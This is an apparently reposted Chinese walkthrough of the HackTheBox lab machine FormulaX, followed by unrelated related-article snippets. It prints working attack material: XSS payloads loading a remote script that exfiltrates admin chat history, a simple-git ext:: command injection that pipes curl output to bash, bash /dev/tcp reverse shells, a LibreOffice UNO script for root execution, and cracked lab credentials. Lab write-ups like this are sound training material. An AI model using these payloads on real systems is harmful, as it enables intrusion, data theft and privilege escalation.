[Meachines][Hard]FormulaX

embedded/2024/10/19 9:32:55/

Main

$ nmap -sC -sV 10.10.11.6 --min-rate 1000

image.png

# echo '10.10.11.6 formula.htb'>>/etc/hosts

创建一个新用户,登录

image.png

来到聊天窗口,发现普通用户无法使用

image.png

来到联系页面,测试跨站

image.png

{"first_name":"<img src='http://10.10.16.6/s-h4ck13'/>","last_name":"2","message":"2"}

image.png

这里无法获取cookie,因为开启了httponly,

image.png

幸运的是服务器开启了跨域资源访问

image.png

在聊天窗口获取到了Chatbot发送消息的源码

image.png

我们通过XSS对管理员进行CSRF攻击,泄露Chatbot的历史记录

//s-h4ck13.js
//利用Websocket来和机器人交互
const script = document.createElement('script');
script.src = '/socket.io/socket.io.js';
document.head.appendChild(script);
script.addEventListener('load', function() {const res = axios.get(`/user/api/chat`);const socket = io('/',{withCredentials: true});socket.on('message', (my_message) => {fetch("http://10.10.16.6/?data=" + my_message)});socket.emit('client_message', 'history');
});

{"first_name":"<img src=x onerror=\"with(top)body.appendChild (createElement('script')).src='http://10.10.16.6/s-h4ck13.js'\">","last_name":"2","message":"2"}

利用管理员身份获取了Chatbot的历史记录

image.png

image.png

获取到了一个新的子域名

# echo '10.10.11.6 dev-git-auto-update.chatbot.htb'>>/etc/hosts

image.png

image.png

通过漏洞库搜索Simple-git在3.15之前存在一个RCE漏洞
CVE-2022-25912
image.png

image.png

const simpleGit = require('simple-git')
const git2 = simpleGit()
git2.clone('ext::sh -c touch% /tmp/pwn% >&2', '/tmp/example-new-repo', ["-c", "protocol.ext.allow=always"]);
# reverse.sh
#!/bin/bash
bash -i >& /dev/tcp/10.10.16.6/10032 0>&1

在Remote Git Url栏中输入payload

ext::sh -c curl% http://10.10.16.6/reverse.sh|bash

image.png

$ netstat -lnput

可以看到MariaDB(3306),mongoDB(27017)数据库开放,我们在web目录下寻找数据库配置文件

image.png

$ find ./ -type f -name '*db*' | while read -r file; do filename=$(basename "$file") if [ ${#filename} -le 15 ]; then echo "$file" fi done

image.png

$ cat ./app/configuration/connect_db.js

image.png

我们没有访问MariaDB的权限,但是可以访问mongoDB

image.png

> use testing
> show collections
> db.users.find()

image.png

image.png

恰好frank_dorky用户也存在该主机

$2b$10$hrB/by.tb/4ABJbbt1l4/ep/L4CTY6391eSETamjLp7s.elpsB4J6

$ echo "\$2b\$10\$hrB/by.tb/4ABJbbt1l4/ep/L4CTY6391eSETamjLp7s.elpsB4J6">hash

$ hashcat -m 3200 hash /usr/share/wordlists/rockyou.txt

image.png

image.png

username:frank_dorky
password:manchesterunited

image.png

User Flag

$ cat /home/frank_dorky/user.txt

image.png

e079c692881778c3880454b025b906b0

Root Flag

权限不足

image.png

$ netstat -lnput

在之前3000端口上开放了一个web服务

image.png

image.png

我们通过ssh进行隧道代理把3000端口映射到kali

[kali]

$ ssh -L 3000:127.0.0.1:3000 frank_dorky@10.10.11.6

image.png

https://github.com/librenms/librenms
LibreNMS 是一个开源的网络监控系统,用于监控网络设备、服务器和服务的性能和状态。它提供了广泛的功能,包括自动发现、性能图表、警报通知、日志记录和自定义报告等,可帮助网络管理员和运维人员实时监控和管理其网络基础设施
image.png

在/opt/librenms 目录有一些LibreNMS官方提供调试脚本,可供测试

但是frank_dorky用户和www-data用户均无法ls读取这个目录内文件,但是可以进入该目录执行脚本

image.png

$ ./validate.php

可以确定版本是22.10.0

image.png

在披露中,我们可以通过/opt/librenms/config_to_json.php来获取数据库的配置

image.png

kai_relay这个用户在我们的/etc/passwd也存在

image.png

username:kai_relay
password:mychemicalformulaX

再次通过ssh登录kai_relay用户

image.png

$ groups;id;sudo -l

image.png

$ cat /usr/bin/office.sh

image.png

在无界面模式下启动 LibreOffice 或 OpenOffice 的 Calc(电子表格程序),并且通过指定的端口接受连接请求,不恢复以前的文档,不显示 logo,并且不使用默认模板。

将exp.py上传到服务器

# exp.py
#! /usr/bin/env python3
import uno
from com.sun.star.system import XSystemShellExecutelocal = uno.getComponentContext()
resolver = local.ServiceManager.createInstanceWithContext("com.sun.star.bridge.UnoUrlResolver", local)
context = resolver.resolve("uno:socket,host=localhost,port=2002;urp;StarOffice.ComponentContext")
rc = context.ServiceManager.createInstance("com.sun.star.system.SystemShellExecute")
rc.execute("bash", "/tmp/reverse.sh", 1)
# reverse.sh
bash -i >& /dev/tcp/10.10.16.6/10034 0>&1

[靶机]
$ cd /tmp
$ curl http://10.10.16.6/exp.py -O;chmod +x exp.py
$ curl http://10.10.16.6/reverse.sh -O;chmod +x reverse.sh
image.png
$ sudo /usr/bin/office.sh
image.png

再开一个ssh

$ cd /tmp
$ netstat -lnput
可以看到127.0.0.1:2002开放了
$ python3 exp.py

image.png

image.png

838cf791e70b35799984bae602e49f0e

在/opt/librenms中存在一个添加用户的php文件,你可以用./addUser.php username password 来进行添加用户,然后对3000端口web服务进行getshell,但是对于本实验中没有太大的用处


http://www.ppmy.cn/embedded/25456.html

相关文章

鸿蒙开发接口Ability框架:【@ohos.ability.wantConstant (wantConstant)】

wantConstant wantConstant模块提供want中action和entity的权限列表的能力&#xff0c;包括系统公共事件宏&#xff0c;系统公共事件名称等。 说明&#xff1a; 本模块首批接口从API version 6开始支持。后续版本的新增接口&#xff0c;采用上角标单独标记接口的起始版本。 导…

Vue2与Vue3:深度剖析核心差异与升级亮点

核心差异与升级亮点 随着Vue.js框架的不断演进&#xff0c;Vue2与Vue3作为两个重要版本&#xff0c;各自承载了特定时期的前端开发理念和技术实践。本文将全面探讨Vue2与Vue3之间的核心区别&#xff0c;旨在帮助开发者理解两者在设计思路、性能优化、API结构、生命周期管理等方…

AI日报:当前最强国产Sora大模型Vidu发布;Kimi Chat移动端升级;通义千问开源首个千亿参数模型;苹果计划与 OpenAI 合作

欢迎来到【AI日报】栏目!这里是你每天探索人工智能世界的指南&#xff0c;每天我们为你呈现AI领域的热点内容&#xff0c;聚焦开发者&#xff0c;助你洞悉技术趋势、了解创新AI产品应用。 新鲜AI产品点击了解&#xff1a;AIbase - 智能匹配最适合您的AI产品和网站 1、清华团队…

刚刚!MySQL8.4.0 LTS发布,接着再探

&#x1f4e2;&#x1f4e2;&#x1f4e2;&#x1f4e3;&#x1f4e3;&#x1f4e3; 作者&#xff1a;IT邦德 中国DBA联盟(ACDU)成员&#xff0c;10余年DBA工作经验&#xff0c; Oracle、PostgreSQL ACE CSDN博客专家及B站知名UP主&#xff0c;全网粉丝10万 擅长主流Oracle、My…

什么是架构?说说我的理解

什么是架构了&#xff1f;其实就是根据企业的具体情况给出的一个解决方案&#xff0c;并且这个架构能升级&#xff0c;如果企业的流量突然暴增&#xff0c;也能适应变化&#xff0c;这才是好的架构&#xff0c;一个项目是采用单体架构了&#xff1f;还是采用前后端分离&#xf…

FORM调用标准AP\AR\GL\FA界面

EBS FORM客户化界面有时候数据需要追溯打开AP\AR\GL\FA等界面&#xff1a; 一种打开日记账的方式&#xff1a; PROCEDURE SHOW_JOURNAL ISparent_form_id FormModule;child_form_id FormModule; BEGINclose_jrn;parent_form_id : FIND_FORM(:SYSTEM.CURRENT_FORM);COPY(TO…

单片机排队叫号系统Proteus仿真程序 有取号键和叫号键以及重复叫号键 有注释

目录 1、前言 ​ 2、程序 资料下载地址&#xff1a;单片机排队叫号系统Proteus仿真程序 有取号键和叫号键以及重复叫号键 有注释 1、前言 系统组成&#xff1a;STC89C52RCLcd1602蜂鸣器按键 具体介绍&#xff1a; Lcd1602排队叫号系统&#xff0c;有取号显示窗和叫号显示窗…

【经典面试题】Vue3和Vue2有什么区别?

在这篇博客中&#xff0c;我们将深入探讨 Vue 2 和 Vue 3 之间的主要差异&#xff0c;并通过示例代码来展示这些差异。 1. 架构变化 Vue 3 引入了一种新的内部架构&#xff0c;使用 Proxy 替代了 Vue 2 中的 Object.defineProperty。这个变化带来了性能的提升和更好的内存管理…